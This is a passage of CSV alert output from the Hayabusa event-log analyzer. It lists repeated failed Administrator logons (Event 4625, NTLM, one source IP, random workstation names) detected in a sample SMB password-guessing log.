NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nmF3ot3gJCsBlSwF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wDjoResfZvvVqqE5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V4dwzMwvVtzztGwr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0qklApBFOMxVzucD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0IJSphtLB3eNARBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PLOFe4w5KpJ2UaGM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cF3JTWkGadY1fJE2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kyTH0jxSZB2YVdhW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NRq5XrcDkFvabCzh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.750 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zlYwlgrsMy1kSgEC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AchwW4ifbZ41AQNg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1PaxF7Q8ue1Kex1h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WAhW2PErXdwNVrx5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.943 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LoAV3ESqieev2JMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wFlWFijaFirgsAtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hSDjuqvzKLaWCWVo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SL0CVu787iFRLiPU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZQDORN33izpv4tGO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v470yorD43fgGyjC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LBbLWVZFDqFxb7dW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RJsowt9MrhXciLOZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uhCVFyMmDI5shASV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yd4SM9EGM7cnO6Z5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.490 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PSR1tbtzdDaJDbXs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rNqyjBuN0Pq6WRO1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vqpMAmE9OvHbFCh2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfLQAaB0DPvxWQMB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0kvHMwnj2k0HMLQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kPqfVDftcR4iRDaw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1bltwm2g13InAJM6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J2iFr8ppe5NzukXF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7EEUOBohBFRze6hL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NCOFn3WM71KmaZyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UdUkBxB1auduRfdS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E2JaWoYK56HRGfW1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.015 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a3JTCX9NIOpg6TFB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zFGkdUVAdKcrrREB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7oZW00FpKema01Vw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p4HbNQx0Acf83b1h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9aM5UCQbOLvcpI0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BGGChEAIdej9lBhr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4CaFYB1ImWAWbH0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OLa3lkxWiJ00raQh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vMzyi0jIVLNrodC8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n2repX0roAP2j0TI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gqcpIjdkNpmoTe4A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Edgo9UdNvmMJpiyn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LpqOTu7Xn7ULipmN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.567 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TP0efL79STMbuu9g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HkwWfRi0E5sVY6UT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IkyCe9NXGExCQS5r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IGnhRwa7P7by9vJO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fh7IGliNbSyKwxpM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1QfgWsAqSYQfB9l5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q8VM66P8Vluf7yrL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cdYiwh3QjdA0Zoge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ou3FPUI5bFcUvuFC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bMUg8N7apFtUgX9d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.991 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U7Cn4n7jQAQaxP6y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: urflPvd1vgYYi2ra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pqFtTDD69fNTKROG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: teUZYpNyqJ64Dgcz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9kaKSy3DV5fRKvTc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtiZUzpwrnuWIjna : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SD9UhsShNJRp251r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C5xbL7aO0azgBxfz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xqrUpW8PpI9RAeGk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M80K04eYwfwdzIul : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jcWY7cNeCNgJ3Czr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1OA561UrTkFnbEj3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iDnu1G7jmwLoXGLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e2v70poTOKPUNZJo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhzoOmgTrdvTS27z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pyvmBFGhKFgvzM9S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHC0keHW2YsKeP02 : IP Address: 192.168.198.149 : AuthPackage: 